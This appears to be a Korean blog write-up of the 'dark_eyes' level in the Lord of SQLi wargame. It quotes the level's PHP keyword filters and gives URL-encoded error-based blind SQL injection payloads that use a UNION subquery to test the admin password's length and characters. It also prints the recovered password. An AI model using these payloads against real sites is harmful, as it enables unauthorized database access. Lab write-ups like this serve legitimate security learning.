22.Dark_Eyes 풀이.
if(preg_match('/prob|_|\.|\(\)/i',$_GET[pw])) exit("No Hack ~_~");
if(preg_match('/col|if|case|when|sleep|benchmark/i',$_GET[pw])) exit("HeHe");
Benchmark라는 단어를 보니 바로 이전 문제인 iron_golem 문제랑 유사할 것 같았다.
col,if,case,when 필터링이 추가되어 있는 상황.
if(mysql_error()) exit(); echo "<hr>query: <strong>{$query}</strong><hr><br>";
mysql error가 뜨면 error 내욜을 보여주지 X.
문제에 접근 방식은 iron_golem 과 비슷하게 하면 될 것이다.
단지 이 문제는 iron_golem과 다르게 error가 나오면 화면에 아무것도 표시 X.
쿼리문이 거짓이면 Error가 발생하니까 Mysql를 이용해 TRUE / FALSE으로 Sql injection.
?pw=%27%20or%20(id=%27admin%27%20and(select%20length(pw)=8%20union%20select%201))%23
iron_golem과 비슷한 사고를 가지고 접근을 하는 것이다.
Length(PW)가 거짓.
FALSE일 경우 이 문제의 특성답게 빈 페이지로 넘어간다.
아마 전 문제에서 나온 Subquery returns more than 1 row가 내포 되어 있는 것 같다.
?pw=%27%20or%20(id=%27admin%27%20and(select%20length(mid(pw,1,1))=1%20union%20select%201))%23
21번과 비슷한 형태로 코딩을 하면 PW는 5a2f5d3c가 나온다.
?pw=5a2f5d3c 입력.
Cf) 21번과 거의 비슷한 형태의 문제.
'# Related site issues > LOS' 카테고리의 다른 글
21.Iron_golem. (0) | 2018.05.09 |
---|---|
20.Dragon. (0) | 2018.05.09 |
19.Xavis. (0) | 2018.05.09 |
18.Nightmare. (0) | 2018.05.08 |
17.Succubus. (0) | 2018.05.08 |